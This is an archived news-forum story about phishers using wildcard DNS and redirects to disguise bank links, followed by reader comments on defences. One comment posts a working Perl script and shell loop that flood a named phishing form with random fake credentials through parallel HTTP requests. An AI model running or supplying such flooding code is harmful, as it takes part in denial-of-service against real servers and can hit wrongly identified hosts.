Phishers Build Deceptive Links with DNS Wildcards

1sockchuck writes "In the continuing evolution of the phisher, the latest scams are crafting deceptive email links that include a bank's URL, but send victims to a phishing spoof site. The phishers are combining wildcard DNS, URL encoding and redirection services to construct the URLs. Netcraft has examples of emails that presented barclays.co.uk in the URL but sent clicks to a spoofed page at a server in Moscow. A DNS cache poisoning attack over the weekend also highlights the potential use of DNS tricks in 'pharming' (phishing using redirection rather than bait emails)."

Comments

Just don't read emails from the bank

[The Amazing Fish Boy]

Tell the bank that you won't be reading any emails from them, and that they'd better send you snail mail or phone you. If they say that won't be possible, just go elsewhere and let (a) the first bank know why you won't bank with them, and (b) the second bank know why you are banking with them. Provide this information in letter format.

Passwords should work both ways

[kebes]

I've often thought it was weird that the credit card company would call me, and ask all kinds of questions to make sure I'm really me, before they would tell me/ask me something (like make sure that it was really me who made a big purchase or whatever).

I usually ask them to give me some info from my file to prove that they actually are the credit card company they appear to be, or I call them back using the number in the official documentation.

I think passwords/authentication have to work in both directions. Perhaps e-banking would be more secure if the banking site had to show you proof of authenticity (for example, you ask the system a question about your file, and see if it responds correctly). In practice, this might involve some additional headaches, but I think it could work.

Perhaps the simplest scheme is that you enter your login info, but if you then complete a transaction without getting back the "correct" authentication answer, you call your bank immediately... they block the transaction, you change your password, and it is flagged immediately as a scam.

Thoughts?

FireFence extension idea

[me at werk]

This extension for firefox (FireFence, you know, what you put around a pharm...) would keep track of https (and, have the option to do http) ips. It would keep a log of the ips of ALL your https sites, to see if they're in the same range. For example, google:

[20:17] * Dns resolving www.google.com
-
Found 2 addresses
dns: www.google.com nick: addr: www.google.com ip: 64.233.187.99
dns: www.google.com nick: addr: www.google.com ip: 64.233.187.104
-
[20:17] * Dns resolved www.google.com to 64.233.187.104

For this, it'd see they were in a similar range and not be too worried. If it suddenly noticed google was going to 192.168.1.100 (meh) then it would throw up alarms, "This site has a radically different address". Of course, that would be the defaults, there would be options to have it alert you for all ip changes and show you the list of past ips, optionally look it up on arin/ripe/apnic and see who owns the ip, all sortsa stuff.

Preferably it'd come with a list of known good sites, for paypal and a few banks or whatever.

I think a firefence would work a lot nicer than just the spoofstick, but I know NOTHING about coding one, just about what I'd want it to do.

My Anti-Phisher Scripts (attached)

[cjsnell]

I became fed up with this crap invading my inbox, so I decided to take some action. Most phishing scams are run by novices and use pre-packaged PHP pages which dump the collected info into a file or e-mail it out to an address for collection. The solution to this is simple: generate a ton of bogus information and submit it to their form processing script.

To do this, I use Acme Software's http_load. http_load takes, on its commandline, a filename containing a list of URLs to request. It then proceeds to send GET requests just as fast as the server can handle them. The trick is to use my Perl script to generate the http_load "loadfile".

First, my script. This could definitely be improved so that it fashions names and street addresses from dictionary words. For now, I just use random junk. To make this script work, you need to look at the phishing scam's HTML source. Find all INPUT tags. Any TYPE=HIDDEN name/value pairs must go in the url_base definition, since the server expects these to be static. The rest (all of the form fields) should go in the @inputs array.

#!/usr/bin/perl

## antiphisher.pl
## (c) 2005 Chris Snell
## c-j-s-n-e-l-l_A-T_-_g-m-a-i-l_D-O-T_C-O-M
## You better be damned careful because this
## script can get you in an arseload of trouble!

# You'll need to install the String::Random module
use String::Random;

# How many URLs are we going to generate? I
# suggest using about 80 or so, to keep
# http_load from being overwhelmed. We will
# run these URLs for a few minutes and then
# generate a fresh batch
my $COUNT = 80;

my $rand = new String::Random;

# this array contains all INPUT tags whose values
# are user-supplied (ie. input fields)
my @inputs = qw { firstname MI lastname card_number card_cvv card_pin username password };

my %rand_input;
my $i = $COUNT;

while ($i-- > 0) {

# iterate through the list of inputs
foreach my $an_input (@inputs) {

# generate an 8-digit random value
# for each, and store it in the rand_input
# hash
$rand_input{$an_input} = $rand->randpattern("........");

# The input will likely contain
# non-alphanumeric characters, so we get
# rid of those. This has the nice side
# effect of giving us inputs of
# radomly-varying lengths
$rand_input{$an_input} =~ s/[^a-zA-Z0-9]//g;
}

# This is where you specify the URL of the
# script that will process the form
# submission.
# Note that I have defined a few static inputs
# here, which were derived from TYPE=HIDDEN
# INPUT tags in the phisher's form. You might
# want to change the values to make sure that
# the phisher is not able to associate your
# e-mail address with your attack.
my $url_base = 'http://logon.personal.wamu4u.com:280/login/script .php?hdnVal=1&h
dnSi=37503603&txtUserID&pwdPasswo rd';

# construct the final URL from our base and
# our random inputs
foreach my $param (keys %rand_input) {
$url_base .= '&' . $param . '=' . $rand_input{$param};
}

# Print the URL to stdout
print "$url_base\n";

}

################## END OF antiphisher.pl #######

Now you'll need to run http_load with a fresh batch of URLs every minute or so:

#!/bin/sh

while true; do
./antiphisher.pl > urls.txt
http_load -parallel 30 -seconds 60 urls.txt
done

I have another script that uses LWP::UserAgent to make the requests, which I wrote when a crafty phisher rejected submissions where HTTP_REFERER was not his phorm.

E-mail me with questions c-j-s-n-e-l-l_A-T_-_g-m-a-i-l_D-O-T_C-O-M

Chris

Re:Help on the horizon for Windows users!

[oirtemed]

Actually, this is an issue. My library, at a major university, had a document that you used to "evaluate" web sources. They used the TLD as a determining factor of value, listing .org as a non-profit organization, as well as labeling other tlds (ie: .com commercial). I explained to my class that restrictions on domain names are not there, and a TLD is meaningless, aside from .edu/gov/mil etc. My professor emailed them my corrections, though I do not know if they incorporated them yet.